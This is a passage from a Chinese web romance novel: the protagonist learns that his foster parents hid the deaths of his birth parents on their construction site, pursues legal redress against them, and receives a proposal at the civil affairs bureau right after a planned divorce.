他已经不由得开始想象,一本正经的祁钊会如何规划这次求婚。 会很浪漫吗? 还是会很甜蜜。 岑康宁陷入对未来的期盼中,一时快乐的无法自拔,竟隐隐有些想让领离婚证早点到来。 不过,生活到底是不会一直一帆风顺。 距离岑康宁预约好领离婚证的才堪堪过去两天。 第三天的时候,生活就给了他一个“惊喜。” 嗯,大概率是有惊没喜吧。岑康宁面无表情看着来人,微不可闻地,轻轻叹了口气。 黄晓媛却看上去很高兴,很难得的见到岑康宁脸上不是冷嘲热讽,挂着笑意:“岑康宁,原来你现在真的在P大上班啊!你老公也太厉害了吧,他给校领导塞了多少钱?能不能把我也送进去。” 岑康宁懒得解释什么,只问她:“你来做什么?” 黄晓媛仍是笑着:“我来看看你啊,怎么,我不能来看你啊?” 岑康宁很了解她,无事不登三宝殿,黄晓媛绝对不是那种会主动想来看他的性格。 真要是想看。 也是想看笑话。 所以答案只能有一个—— “你欠了多少钱?” 岑康宁问。 黄晓媛登时脸色一僵,愣在原地:“你,你怎么……” “你身上背的lv看上去不像是假的。” 岑康宁不客气地道。 “但以你的收入水平你根本没办法买得起正品,所以要么是有人送你要么是你借网贷。而你之所以出现在这里,证明不是别人送你的,你想找我帮忙。” “……” 黄晓媛嘴唇嗫嚅几下,半晌没说出话来。 猜中了。 岑康宁想。 但他倒还宁愿没猜中。 岑康宁轻声叹了口气,语气也柔和几分:“你欠了多少?” 黄晓媛一开始不想还不想承认,但事到如今岑康宁已经全猜出来了,她就没什么不好承认的。 “没多少,真的,就六万多。” “而且我也不是乱花的,前段时间我不是认识了一个男朋友吗?他家里很有钱,开保时捷的。这不是为了跟他在一起,我才借钱买了这些东西。” “这些?” “包包啊,化妆品衣服之类的。” 黄晓媛碎碎念道:“这不过分吧?我可是为了将来嫁个有钱人!” 岑康宁无语了老半天才说:“既然你男朋友这么有钱,你为什么不让他买?” 黄晓媛说:“那多让人看不起啊!” “我们都是有来有往的,这样的关系才长久,你说是吧宁哥?” 岑康宁:“……也就要钱的时候你叫我一声宁哥。” “宁哥宁哥宁哥!” 黄晓媛一连叫了好几声,完全没有半点儿心理障碍,她央求道:“求你了,你看你现在也嫁给有钱人过上好日子了,你就帮帮我吧。” 岑康宁却最终还是摇了摇头:“不借。” 其实,如果按照他以前的性格,他应该多少会借一点儿。 虽然不至于给黄晓媛把六万多的债全还完。 但至少会给她拿一两万应应急。 前几年岑康宁就是这么做的,知道黄晓媛生活费不够,怕她一个女孩子在大学里受委屈,经常兼职工资发了就给黄晓媛打一点儿。 但一来就此事黄晓媛从没说过谢谢。 二来,自从岑康宁知道当初祁钊给黄家掏了足足五十万彩礼钱以后,就彻底打消了继续回报黄家的念头。 原来从自己身上。 他们不止拿了二十万,而是整整五十万。 得知这个事实以后岑康宁已经很久很久没有跟黄家的任何人联系,连军叔后来过生日,他也找了个借口没去。 已经决定就这样慢慢疏远的时候。 黄晓媛却找上门来。 对于她的央求,岑康宁只有一个建议:“趁着这些债务还不多,赶紧跟家里坦白吧。” 黄晓媛一听这话果然生了气:“岑康宁你这什么意思,你不想帮我是吧?” “我没办法帮你,我也没钱。” 岑康宁说。 黄晓媛说:“你撒谎,你肯定有钱。而且就算你没钱,你老公总有钱吧?你问他要。” 岑康宁深吸一口气让自己冷静下来:“这件事跟他没有任何关系。” 黄晓媛:“你不好意思找他是吧?那行我……” “你干什么?” 岑康宁不可思议地看着往学校方向走的黄晓媛。 黄晓媛的面上却浮现出一丝得意:“我说了,你不给我,我找你老公啊。我知道他在哪里,他可有名了。” 岑康宁厉声打断她:“你疯了?” “谁疯了?本来这笔钱你就是欠我的,要不是你这个拖油瓶来我家,这些年我至于过得这么拮据?” “那你为什么不问问娟姨军叔,他们拿了祁钊多钱?” “他们是他们,我是我。” “总之你不许去。” “你说不去就不去,你谁啊?” “黄晓媛你听我说,娟姨军叔已经拿了祁钊五十万彩礼,你要钱问他们要去!” “……多少?” “五十万。” 岑康宁看着黄晓媛,冷静地说。 黄晓媛在听到这个五十万却并没有露出多么高兴的表情,反而在片刻后怒上眉梢。 “竟然有五十万?” 她又是震惊又是不敢相信。 震惊是因为祁钊竟然愿意掏这么多钱娶岑康宁。 不敢相信是因为爸妈竟然手头上有这么多钱。可是昨晚当她开口问他们要钱的时候,他们竟然连一万都不肯给她,说是要都留给黄光远首付。 她从小就知道家里重男轻女。 但却没想到自己地位这么低。 足足五十万,爸妈手里那么多钱,竟然对她见死不救? 岑康宁道:“的确有五十万,我看过转账记录。” 知道这件事的时候他的震惊半点不比黄晓媛少。 他也以为祁钊疯了。 但祁钊只是很冷静地告诉他:“这笔钱有一笔将你户口迁出来的费用。” 岑康宁便沉默了。 把户口迁出来。 意味着他跟黄家再无关系。 也意味着黄家是用这一笔钱,将这么多年的养育之恩买断。 与养育之恩相比。 五十万的确不算太贵。 是以岑康宁沉默。 但那时的岑康宁却还不知道,这看似沉甸甸的养育之恩下,还隐藏着另外一个不为人知的秘密。 多年以来他一直被蒙在鼓中。 直到多年后,因为父母重男轻女而极度破防的黄晓媛,在他面前残忍揭开真相: “哈哈哈,你给他们那么多钱?哈哈哈,你知不知道你爸妈就是死在他们俩的工地里?” “什么?” 岑康宁整个人怔在原地,不敢相信自己耳朵里听到的事实。 黄晓媛却冷笑一声:“是真的,我不会骗你。他们才不是什么好心收养人,是因为你爸妈死在了工地,不收养你你大伯就要闹,所以他们才把你带回来了。但一直以来也不敢告诉你真相,怕你要赔偿金。” “……” “结果你还傻乎乎的给他们五十万,这跟认贼作父有什么区别?” 黄晓媛咬着牙说。 岑康宁仍旧说不出话来。 黄晓媛却已经彻底豁了出去,反正她跟父母是彻底闹掰了,不给她钱,那就谁都别好过: “不信你去问你大伯,这事儿当年是他全程处理。” 作者有话说: 快正文完结了 想了想还是把黄家这条线收一下,不多,明天一章的内容就解决 第89章 祁钊最后是在学校空无一人的湖边找到的岑康宁。 冰冷的空气。 漆黑的夜晚。 湖边一个人也没有,就连平日里经常在湖面上游来晃去的鸭子也不知窝在什么地方销声匿影。 这样的环境里,岑康宁弯腰低头坐在椅子上。 用手自己抱着自己。 …… “……钊哥,你下班了?” 感受到熟悉的脚步接近,岑康宁抬起头来,看向来人。 路灯下他的表情看不太清晰。 只隐约可以看得见唇角微微上扬的弧度。 岑康宁仍是笑着,一副天真又乐观的模样,祁钊却心头一痛,蓦地大跨步上前: “发生了什么事?” “没什么。” 岑康宁又笑了笑,说:“就是忽然觉得这里景色挺好的,想一个人呆一呆。” “撒谎。” 祁钊伸手,轻轻摸着岑康宁冰冷的脸颊。 皮肤的温度已经很冷了,证明岑康宁在这里至少坐了超过二十分钟。 而往常这个时间。 他都是在家里打游戏。 “到底发生了什么事?” 祁钊又问。 “我……”岑康宁感受着脸颊上的温度,终于是没能忍住喉头哽咽。 “我没家了,钊哥。” “……” “当然,有可能从来都没有过,一直都是我一厢情愿。” “黄家?” 祁钊很快意识到了问题的关键。 他面色一冷:“他们找你了?” 岑康宁苦笑:“是啊,找我了。” 非但找他。 还送了他一个天大的大“惊喜。” 黄晓媛走后岑康宁一开始没反应过来,等反应过来的时候,他已经在通讯录里找到大伯的电话号码,准备拨通。 其实这些年他不是没有大伯的联系方式。 只是因为小时候的经历,早就生疏。 而多年以后当他打通大伯的电话表明身份,甚至他还没有说出自己的来意,只是说出自己是岑康宁而已。 那头,大伯母已经开始大声嚷嚷:“是不是来要赔偿金的?告诉他没有,早就花完了!” “是不是觉得很可笑啊钊哥?”岑康宁自嘲:“其实,我也觉得好可笑。” 原来当年的真相竟然是这样。 原来他从来没有过所谓的家。 原来那曾经被他无比珍视的温暖,只是错觉…… 啪嗒——眼泪不知什么时候掉了出来,落在祁钊的手上。虎口处滚烫的温度传来,祁钊立刻抱紧了岑康宁。 “不是这样的。” “呜……”岑康宁已经在他胸口哭得泣不成声。 也不知道怎么一回事。 岑康宁本来是绝不爱哭的。 今天事发后一整个晚上,他也一直能控制地了自己,一滴眼泪都没掉。 但祁钊出现以后就不一样了。 泪水就像坏掉的水龙头,完全控制不住地流淌了出来。 “我不知道,我从来都不知道。” 他现在想起那些过去。 想起自己畏畏缩缩的童年,想起那条至今还放在抽屉里的黄金项链。 只觉得凭什么? 凭什么老天要这样对待自己? 难道,他上辈子是做过什么伤天害理的事情,是什么十恶不赦的杀人犯吗? 岑康宁哭得浑身颤抖。 始终没明白自己到底做错过什么要被这样对待? 而祁钊抱紧了他,说:“岑康宁,冷静下来。听我说,我现在要纠正你一个错误的观念。” 岑康宁根本冷静不下来。 任何人遇到这种事儿都没办法冷静。 可祁钊硬是把他的眼泪一点儿一点儿的亲了回去,然后用很强硬的姿态让他冷静:“你刚刚说你没有家了,我反对你这个说法。” “……为什么?” “因为这个。” 祁钊从自己的大衣口袋里掏出一个很方正的本子,递到岑康宁的手里。 “这是?” 岑康宁哭声戛然而止。 虽然嗓音依旧哽咽,但昏暗的路灯下,他看清楚了那个本子的身份,那竟然是一本户口本。 祁钊意简言赅:“打开看看。” 岑康宁闻言手指颤抖着翻开户口本的硬壳,意料之外又情理之中,户主的名字写着岑康宁。 “我的户口本,怎么在你手里?” 岑康宁很懵地问。 “这本是新的。” 祁钊道。 岑康宁在离开黄家以后就把户口独立了出来,因为编制的缘故,上在P大的集体户口下。 而祁钊的户口一直跟随着母亲。 后来刘海俐去了美国。 为了方便,最近一段时间祁钊在着手帮助母亲办理移民手续。 而如此一来,祁钊自己的户口便也单独出来。 本来他没觉得这件事有多么重要。 直到两人领离婚证的事情提上议程。 祁钊一直试图寻找有什么办法可以让两人的名字继续留在一个地方。 后来他找到了。 是户口本。 因为目前两人还尚未真正领取离婚证,所以作为法定配偶,祁钊拥有跟岑康宁留在一个户口本的权利。 “本来是想领离婚证前告诉你,但我认为,现在有必要提前。” 凛冽的冷风中。 祁钊以前所未有坚定的语气,一字一句地道。 他的音量并不算大,却异常的清晰,分明是没什么情绪波动的语气,却宛如一杯香甜可口的榛果热拿铁,将岑康宁冻住的心一点一点的暖热。 而被暖热以后,岑康宁不敢置信地翻开手中户口本的扉页。 果不其然。 在扉页里发现了祁钊的姓名。 …… “从法律的角度上来说,我们俩个现在才是一家人,我是你的法定配偶,是你的丈夫。” “所以你不能说自己没有家,这是错误的说法。” “此外,岑康宁,我想继续问你,你对家的定义是什么?除了法律意义以外?” “家……” 岑康宁手里握着那本薄薄的户口本,看着祁钊那张英俊又认真的脸,一时忘记了该如何开口。 泪水已经完全止住了。 只有些许泪痕还停留在他的脸颊上,显得他有些楚楚可怜。 直到最后一滴泪水也在冷风中风干,他听到自己闷声说: “家是很温暖的地方,回去以后,就会有热气腾腾的米饭吃。” 祁钊道:“今晚我们不吃米饭,但按照原定计划,会吃烤肉,也是热气腾腾的。此外,荣府物业已于两个月前准时供暖,1201此刻室内温度达标,超过二十三摄氏度。” “家里有我的床,可以不用工作,好好休息。” 祁钊亦道:“如果你不在这里,这个时间我们正躺在床上休息。” “家是港湾,是避难所。” “宝宝,你在我怀里。” “……” 岑康宁说不出话来了。 因为他发现无论他说什么祁钊都会有相应的证据来证明,他才是他的家。 而最关键的是,祁钊竟然说的是对的,他根本没有任何办法反驳。 的确。 说起家这个定义来。 难道他现在的住处不比曾经那个狭小逼仄的房间更像是家吗? 当年在黄家有的。 他如今有。 当年在黄家没有的。 他现在还有。 且若是拿出来比较的话,他在黄家住的只是一个很硬的架子床,与黄光远共享一个不到九平米的房间。 而在他现在的家里。 整个二百平任他随意躺平。 说起晚饭,在黄家的时候,只要他在,桌上一定是没有荤菜的。 的确是有热气腾腾的米饭不假。 可自从黄光远出生以后,大部分的时候米饭只能就白菜豆腐吃下去。 现在的家就不同了。 他的晚餐经常变幻各种花样。 冰箱里也时常是满满当当。 偶尔的时候,祁钊还会给他煮夜宵泡面,热气腾腾的泡面加了鸡蛋青菜跟肉卷,不比白菜豆腐香? 就连所谓的“家人”这个概念……仔细一想,也完全经不起推敲。 想一想。 过去的“家人”是怎么对他的。 把他一个人扔在医院,不管不顾;有事就叫他回去处理,无事从来不关心。 过生日是要他出礼物的。 回家是要他专门叫车接送的。 学习成绩不好了找他补课,在外头网贷欠了钱找他处理。 他们遇到的问题与困难全部要他来解决承受,而岑康宁自己遇到了无论任何问题,只有他自己面对。 所以他为什么要伤心? 因为很小的时候拥有过的那一碗排骨汤还有围巾? 想到这里。 岑康宁忽然就觉得很不值得。 为他的眼泪而感到不值得。 他的眼泪应该是很珍贵的,为了真正意义上的家人而流下,绝非是为了小时候那一点廉价的温暖。 更何况,如今事实的真相摆在面前。 事实证明。 就连曾经那一点廉价的温暖,也是虚假的。不过是出于愧疚,也出于恐惧。 既然如此。 又何必感到伤心呢? 岑康宁的身体中于是迸发出一股前所未有的力量。 那力量源自于他自己,但却由祁钊召唤而出,驱散了一整个晚上笼罩在他头顶的乌云。 慢慢地,在祁钊温暖的怀抱里,他冷静下来。 “钊哥,我知道了。” “谢谢你让我冷静,我已经知道该怎么处理这件事情。” 虽然此刻岑康宁的嗓子还哑着,但不难听出已经与一开始有了彻底的区别。 起初他是崩溃的,难过的。 现在的他却是理智的,不带有哪怕一丝一毫的悲伤。 “我决定找律师,重新调查当年的事故。另外,钊哥你给的五十万彩礼钱,我也想要回来。” “要我帮忙吗?” 祁钊轻轻抚摸着岑康宁的眼角,很心疼地问。 岑康宁却摇头,认真地说:“不用,这件事我想自己处理,好吗?” “好。” 祁钊答应了岑康宁。 — 不过话虽如此。 在后续处理这件事的时候,祁钊却依然陪在岑康宁的身边。 包括在寻找律师,调查当年那场事故的时候,祁钊都又提供了一定程度的帮助。 但祁钊没有越俎代庖。 只是在偶尔的时候提供一点帮助与支撑,并且在大多数的时候,仅仅只是单纯陪伴着岑康宁。 数日后。 岑康宁终于带着律师来到黄家门口。 大半年前他离开这道门的时候,绝没有想过再一次登门会是这样的场景。 红色防盗门上的锁依然生着锈。 门上张贴的物业费催缴单被贴了撕撕了又贴。 门口的左侧仍然还是那个鞋架,右侧摆放着一大袋子垃圾。 一切似乎都跟岑康宁离开前没有任何区别。 唯一改变了的只有岑康宁。 岑康宁再也不会对这里感到任何眷恋,因为他已经找到自己真正的家。 他的家人此刻就站在自己身边,牵着他的手,寸步不离。 所以他深吸一口气,终于能够不带有丝毫情绪地,按响了门铃。 — 与黄家的交涉无疑复杂且困难。 毕竟事情已经过去了这么多年,在警察局那里也没留下什么线索。岑康宁的大伯收了五万块钱,甚至没报案,就匆匆把这件事私下了结。 但这世间上的事情只要发生过就一定会有痕迹,更何况是两条人命。 当年的医院还在。 记录难找了一点,却不是没有。 当年的工友大部分也都还活着,也许记忆模糊了点儿,但有工友一见到岑康宁就立刻喊出了岑康宁母亲的名字。 这张脸毕竟是那样的漂亮夺目。 叫人过目难忘。 岑康宁也没想到,曾经让自己心生过厌恶的这张脸,有一天竟然也可以成为证据。 而当一切都摆在眼前。 黄军终于没办法掩盖事实,痛哭流涕地跪在地上求岑康宁原谅自己。 “小宁你听我说,当年的事情真的只是意外,塔吊塌了,谁也不想的!” “你原谅军叔吧,真的,军叔也是实在没办法。工地出了这么大的事,要赔那么多钱,我是真的没有钱了,只能把事情压下去。” “所以后来,后来我不是把你带回来了吗?这些年你是我养大的呀,你难道就一点儿都不挂念我们之间的感情吗!” 岑康宁愕然回过神来,低头看着他:“如果这些年我们真的有感情,为什么我结婚,你们要问祁钊要那么多钱?” “这……” 黄军被问得哽住,一时说不出来。 “那钱你们收得难道不亏心?” “我们……” “把我带回来,骗我,告诉我你们是看我可怜才收养我的时候,你们又是怎么想的?” “我……”黄军终于彻底说不出话来,像是忽然衰老了十多岁一样,抓着岑康宁裤腿的手猛地一松,身体无力地瘫软在地上,眼里全是悔不当初的懊恼。 而岑康宁挪开眼神,语气冷淡地说:“我不欠你们的,是你们欠我。” 说完这句话,他感到身体骤然一轻。 像是捆绑了他多年的枷锁终于卸掉一般。 是的。 他就是要说出这句话。 告诉黄军李宝娟,也告诉自己。 “我来是想告诉你们,这件事我已经交给律师处理,也会重新对法院提起诉讼,调查当年的事故。到时候该有什么责任,法院会告诉你们。” “此外——” 岑康宁感到自己的手被握紧,来自祁钊的温度从手掌心里传来,让他更加的具有力量与勇气。 于是他终于可以大方自然地站在李宝娟的面前,定定地望着她的眼睛: “五十万,还给我。” 再也不必担心那双眼里流露出失望的情绪。 也不会害怕问她要钱。 更不会因为学校忽然通知要交上去的十多块钱而为此紧张许多天,直到最后的时刻,终于攒了许许多多的塑料瓶子,然后拿着瓶子出现在娟姨的面前,小心翼翼地说: “娟姨,要交十七块的卷子费,我捡了瓶子,可以卖三块,所以……” 这一次。 李宝娟的脸上没能露出以往她会露出的那种表情。 那种带着一点儿埋怨,责怪,又带着一些为难的表情曾经是岑康宁的童年噩梦之一。 他曾经真的很害怕这个表情。 害怕到后来稍微有了一点儿赚钱能力就开始到处找兼职做,只为了不让娟姨露出这样的表情。 但直到今天他才发现,原来,那藏在为难跟失望表象下的是心虚。 原来那曾经让他恐惧的一切终会过去。 走出这个房间,走出这道门,门外没有风雨,只有天晴。 作者有话说: 那个其实,门外还有老公[菜狗] 第90章 后来这天岑康宁当然没能从黄家手里要到一分钱。 黄军提出要给岑康宁拿两万块做补偿。 被岑康宁拒绝了。 他本意也不是为了钱,更何况两万块实在是太搞笑了,黄军还以为岑康宁是那个为大学学费发愁的大学生吗? 倘若当年岑康宁上大学的时候。 黄军跟李宝娟两人真的拿出了这两万当他的学费。 可能岑康宁这会儿都会记得两人的这点儿恩情,不至于把事情做得太绝。 事实就是没有。 大学的学费是岑康宁助学贷款来的。 生活费则是基本靠兼职。 从这个点也能看出,岑康宁在这个所谓的“家”里属实没过过几天像样的日子。 黄家重男轻女的厉害。 黄晓媛跟黄晓玲姐妹俩的日子其实也不好过。 可比起岑康宁来说,姐妹俩至少学费生活费无需发愁。 现在这些点点滴滴的细节回忆起来,无不让岑康宁感到恶心。 当然最恶心的莫过于。 岑康宁曾经竟然觉得这些都是应该的。 因为自己是拖油瓶,是领养的,所以他再怎么受委屈再怎么被忽略都是应该的。 刚一毕业就结婚也是应该的。 谁让他被白白养了这么多年呢? 一想到这里,岑康宁就觉得,祁钊的那五十万必须要回来。 无论跟黄家打多久的官司。 纠缠多久。 都要要回来。 岑康宁最后看了眼黄军跟李宝娟:“军叔,娟姨,我今天只是来通知你们的,没有跟你们商量的意思。既然话已经说完了,那我就先走了,下次我们法院见。” “小……”黄军还想说什么,伸出手试图拉住岑康宁,却被李宝娟死死拽住。 李宝娟眼神冰冷的看着岑康宁,此时此刻也终于暴露出自己本来的面目来。 “早知道你是这样的白眼狼,当初就不该把你带回来,让你死在外面多好!” 她也许是想用这样的方式让岑康宁愧疚吧。 毕竟曾经的岑康宁的确会因为自己的出现而感到愧疚。 可如今的岑康宁已经完全没有了这样的情绪。 非但如此。 很忽然地,他就想到了那天在苍梧山上祁钊对他说的话。 祁钊说:“如果那时候你出现在我面前,我养你。” 十二岁的祁钊可是有着七十多万存款呢。 养一个小孩儿简直绰绰有余。 想到这里,岑康宁不禁笑出声来,很高兴地说:“如果你真这么做了,我现在反倒要感谢你。你不会觉得我流落街头就真的会死吧?你把警察叔叔放在哪里?” “你……” “好了不说了,我要走了。” 岑康宁感到握住自己手掌的大手力度紧了紧,那无疑是催促的意思,于是很迅速地结束话题,唯独只是临走前看了躲在角落里的黄光远一眼。 “小胖子。” 他叫他。 从黄光远的表情来看,他其实并不知道家里发生了什么事,只知道岑康宁忽然就带着两个人高马大的男人上了门。 而在上门以后。 他的爸爸就跪在了地上开始痛哭流涕。 他的妈妈也看上去情绪非常激动的样子。 黄光远有些困惑,眼前的这个人,真的还是曾经那个宁哥吗? 直到岑康宁叫他小胖子。 终于那种熟悉的感觉出现。 黄光远眼前一亮,正要走出来像从前一样问岑康宁打算什么时候带自己打游戏上分的时候。 岑康宁忽然对他一笑,露出脸颊浅浅的梨涡: “你的猴子真的很菜,李白也是一样的菜,下次别玩了。” “……” — 出门后送别律师。 回到车上的时候祁钊忍不住问岑康宁最后为什么那么说。 “我以为你会说,你的首付没有了这种话。” 毕竟祁钊已经知道,黄家拿了那五十万,主要就是为了给黄光远以后付首付。 他以为岑康宁会以此为方向放狠话。 结果岑康宁只是不痛不痒地说了游戏里的事情。 “哈哈,你不懂,钊哥。” 岑康宁笑出声来,因为最后黄光远露出的表情而深感愉悦: “他根本不懂首付代表着什么,反倒是游戏,他非常在意。” “原来如此。” 祁钊点头。 旋即他发动车子,将车缓缓驶离。 这一带属于老小区,路况很是不好,不过岑康宁对这里很熟悉,所以在岑康宁的指挥下,三两分钟的功夫,车子就开到了宽阔平坦的大路上。 “先去吃饭?” 岑康宁看了眼时间后道。 刚刚他整个人都是紧张的,那种不自觉地紧绷让他根本也忘记了饥饿。 直到事情结束。 饥肠辘辘的感觉才冒了出来。 想来祁钊也已经饿了,因为现在已经是接近一点钟,早就过了祁钊吃中午饭的时间。 但祁钊并没有把方向盘打向学校的方向。 只是给岑康宁示意车里有吃的。 “不回学校吗?” 岑康宁从储物箱里拿出一个面包,三两下撕开包装袋送进嘴,一边吃一边问。 “不回。” 祁钊道。 岑康宁觉得有些奇怪,但具体又不知道奇怪在哪里。 他起初以为祁钊可能还有什么其他事儿需要办吧,毕竟祁教授请一天假不容易。直到吃完面包,岑康宁眼睁睁地看着祁钊把车开到去往民政局的路上。 岑康宁:“?” 祁钊放慢车速,侧过头,看了一眼岑康宁:“你忘了,今天是我们预约领离婚证的日子。” “……” 沉默了好一会儿,岑康宁才开口:“确实忘了。” 这些天他忙于找律师找证据,根本就将离婚这件事抛在了脑后。 而且其实这个日子是有点儿尴尬的。 毕竟岑康宁才刚从黄家出来。 等于说是岑康宁刚刚跟一个“家”告别,马上就要立刻跟另一个“家”告别。 虽然此告别不同于彼告别。 可还是尴尬。 尤其是岑康宁发现,自己又双叒没穿对衣服。 跟上次去领结婚证他穿的卫衣差不多,他今天身上穿了件儿黑色的羽绒服,羽绒服脱下来里头则是一件很厚的白色毛衣。 去黄家倒是没什么。 黄家没暖气温度低,这个天气过去不穿厚点容易感冒。 可是去领离婚证…… 没记错的话,离婚是需要拍照的吧? 岑康宁忍不住看了眼祁钊身上裁剪完美的黑色羊绒大衣,于是十五分钟后,熟悉的阿玛尼银灰色logo再度出现在他眼前。 “我就是想换身衣服,没必要买新的,回家去换也可以的钊哥,而且是离婚证上的照片而已。” 下车前岑康宁曾推辞道。 祁钊却不知为何异常笃定:“不,要买。” 岑康宁拗不过他,只好走进店面。 最后在导购的搭配下,他买了一整套衣服,从内搭到外套,浑身上下无不焕然一新。 导购小姐姐笑得嘴巴都合不拢:“先生,这身儿真的很适合你,衬得您特别帅气。” 岑康宁看着镜子里变得昂贵的自己,也十分满意:“行,帅就行。离婚的男人就是要帅一点。” 导购:“?” 帅气的岑康宁刷完卡跟祁钊一起走出店面,徒留导购在店内风中凌乱。 而经过了这一遭。 岑康宁也总算找回了点儿去领证的感觉。 “当初我们去领结婚证,好像也是这样一个程序吧?” “对。” 祁钊亦是想起那天,眉眼中冷峻消散几分。 岑康宁看着身上的新衣服,笑着:“钊哥你怎么从来都不会提醒我穿好衣服啊?不过也算有始有终了,今天过去,以后就是新的开始。” “嗯。” 祁钊点头,随后再度发动车子,朝民政局开去。 从阿玛尼店去民政局的这条路两人走过不止一遍,也因此岑康宁对这条路勉强算是熟悉。 犹记得上回去领证。 他一开始心里还是非常忐忑的,结果买完衣服就一点儿都不忐忑了。 因为祁钊出手就给他买了件一万三的衬衣,岑康宁觉得这人实在是太大方了。 大方的人再坏也坏不到哪里去。 于是顺利跟他走进了民政局。 而时隔数月。 两人再度行驶在这条路上。 还是同一辆车,同样的两个人,岑康宁心里却一点都不觉得忐忑了。 他不担心祁钊会对自己不好。 因为事实证明,祁钊就是这个世界上对他最好的人。 也根本不担心祁钊真的跟他领了离婚证以后不求婚了怎么办。 因为祁钊连户口本都上到他名下了。 根本不可能不求婚。 不担心生病。 也不担心遇到困难。 有祁钊在,他愈发觉得每一天都是很安心,很脚踏实地的感觉。 这种感觉随着两人把话说开正式在一起后越来越强烈。 以至于岑康宁甚至迫不及待地想要领到那纸离婚证,打上钢印,好彻底跟上一段协议结婚告别,跟祁钊步入新阶段。 然而。 他的期待却注定要落空了。 岑康宁早该知道,需要排队等那么久的离婚申请,又怎么可能因为到了现场以后就那么容易通过呢? 民政局内。 两人刚一进门说明来意,便见安保大叔如临大敌。 紧接着,大叔拿出对讲机不知说了什么,几乎是瞬间,两个穿着正装,年龄约莫四五十多岁的阿姨就雄赳赳气昂昂地出现在了岑康宁与祁钊面前。 一个阿姨给岑康宁倒水,拉开了祁钊,说: “小伙子,坐,你先坐啊。” 另一个阿姨则很热情地跟岑康宁寒暄着:“小同志,我看你是来申请离婚的,为什么要离婚啊?” “额……” 岑康宁顿觉手中的水杯烫手,尴尬地放也不是,不放也不是。 阿姨殷切:“是婚姻中对方有家暴行为吗?小同志你放心,如果有家暴行为,我们民政局是绝不维护的,立刻帮你们办理手续。” 岑康宁眨了下眼,说:“这倒没有。” 阿姨立刻露出了松了一大口气的表情,拍着胸膛反复庆幸地说:“那就好,那就好。” 岑康宁:“嗯。” 阿姨又问:“那不是家暴行为,是出轨吗?我刚刚看你老公看上去人高马大,挺帅气的,该不会在外面找了小三吧?” “怎么会,他不敢的!” 岑康宁差点没把手里的杯子惊得扔出去。 不知怎么回事,只要一想到祁钊有可能找小三这个可能性,岑康宁就觉得一股莫名的鬼火窜了出来。 找小三? 姓祁的他敢! 如果他真敢找小三了,岑康宁磨着牙槽想,那他做鬼都不会放过他们。 阿姨见他情绪激动,赶忙把他手里的水杯收了回去,说:“小同志别激动,我只是问问而已。” 岑康宁已经被问怕了,生怕阿姨接下来要问出什么更惊世骇俗的问题,便道:“您好,我们真的只是想离婚而已。没有家暴没有出轨没有骗婚更没有感情破裂,只是想简简单单领个离婚证罢了。” 阿姨的重点却抓地莫名有些偏:“……什么,感情没破裂?” 岑康宁看着阿姨忽然放了光的眼睛后知后觉地感到自己可能说错话了。 “嗯,其实……” “没破裂那离什么婚呀!” 阿姨忽然态度一百八十度大转弯,从开始的小心翼翼,变成慷慨激昂地劝阻岑康宁:“你看看你男人的这个条件!身高,一米八八,职业,大学教授,长相更不用多提,多帅一个小伙子的。这种条件的男人,我告诉你啊,离婚以后绝对不好找,真的,你信我。” 岑康宁心说我男人什么条件我当然知道。 别说离婚以后不好找,就是未婚也不好找。 他最明白了。 但这事儿就不劳烦民政局操心了,毕竟关于离婚以后如何复婚的问题,他自有108种办法。 所以—— “阿姨,我信你。所以我们什么时候可以开始办离婚手续?” 阿姨急了:“你这孩子,怎么油盐不进啊!” 岑康宁一脸无辜,说:“我进啊,我怎么不进了?我平时吃饭口味最重了。” “你进你还要离婚,怎么,你老公就那么让你讨厌?” “我不讨厌他。” “那你还离?” “离!” “……”看着岑康宁那张懵懂无辜的漂亮脸蛋,阿姨终于无奈,扶额感慨:“你们这些年轻人啊,真的是不听劝。算了,我也不劝了,爱离就离吧,离婚率反正也这么高了,少你们这一对也少不到哪里去。” 唯独就是民政局这个月的公众号没文章发了。 阿姨叹着气心想。 上面发下来的任务,她们也很为难,每个月必须有一篇离婚劝和成功的文章做宣传。 可这年头要到哪里去找那种不是出轨不是家暴的离婚去劝和? 眼看着年关将近。 好不容易来了一对儿,看上去也还有感情。 结果无论好说歹说,就是要离。 阿姨终于绝望了,心说这个月的公众号还是继续空着吧,让领导骂去,骂也没用,这活谁来都干不了。 这时她的另一个同事也将祁钊带了出来。 从神色可以得知,显然,这位同事也劝和失败了。 两人相视一眼,叹了口气,均在彼此眼中看到了无奈的情绪,纷纷在心中感慨: 天要下雨男人要离婚,还真是挡都挡不住的事情。 这一对儿看上去多般配啊。 结果结婚不到一年,却也还是要离了。 “罢了罢了,来办手续吧。” 阿姨收起情绪,立刻恢复成公事公办的表情。 而在没有被刻意阻挠以后,接下来的程序岑康宁与祁钊走的格外顺利。 拍照填表签字领证。 最后跟结婚一样,啪地一声,钢印盖在了证件上。 “好了。” 一个工作人员将离婚证分别递给二人。 岑康宁接过那本证件,饶有兴致地看了两眼以后,就兴致缺缺把它塞进了大衣口袋里。 祁钊则更直接。 拿到手以后直接看也没看就随便地塞进口袋。 岑康宁觉得祁教授的反应有点儿好玩,悄悄拉了下祁钊的袖子,故意问他:“怎么不看看,万一搞错了怎么办?” 祁钊轻垂眼睫,说:“没关系。” 岑康宁这时还没听懂他的话,想说,怎么会没关系? 他想,毕竟这是两人上一段关系的结束。 应该还是很重要的吧? 但祁钊说完没关系后就开始脱外套,岑康宁这时才发现他黑色的大衣外套里竟然穿了那件很趁他很漂亮的白色西装,登时愣了一下: “你……” 他本来想问的是。 来离婚,你穿这么隆重干什么? 还专门脱掉外套露出来。 又玩孔雀开屏? 但紧接着他看到祁钊的眼神,那是一种前所未有认真的眼神,仿佛像是正在做出某个重大的决定,又好像是即将迎来人生中某个最珍贵的瞬间。 岑康宁听到自己心脏咯噔一声响。 与此同时,他的脑海中冒出一个极度疯狂极度不靠谱的想法—— 该不会,祁钊是打算在民政局对他求婚? 一想到这里岑康宁整个人都紧张了起来,他疯狂地告诉自己应该不会。 祁教授是个慢性子,当初追他都用了那么久,最后还是自己主动说要当他男朋友他才开窍。 这种慢性子。 怎么可能会在民政局刚离婚就求婚呢? 然而,在岑康宁不可思议的眼神中,穿着白色西装外套的祁钊徐徐单膝跪地,顶着民政局所有人目瞪口呆的表情,掏出一个深蓝色丝绒质地的戒指盒。 戒指盒打开。 盒子里装着一只造型简约却不简单的钻石排戒。 作者有话说: 阿姨:公众号文章,这不就来了![比心][玫瑰]魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 正文完结 第91章 “咔嚓咔嚓——” 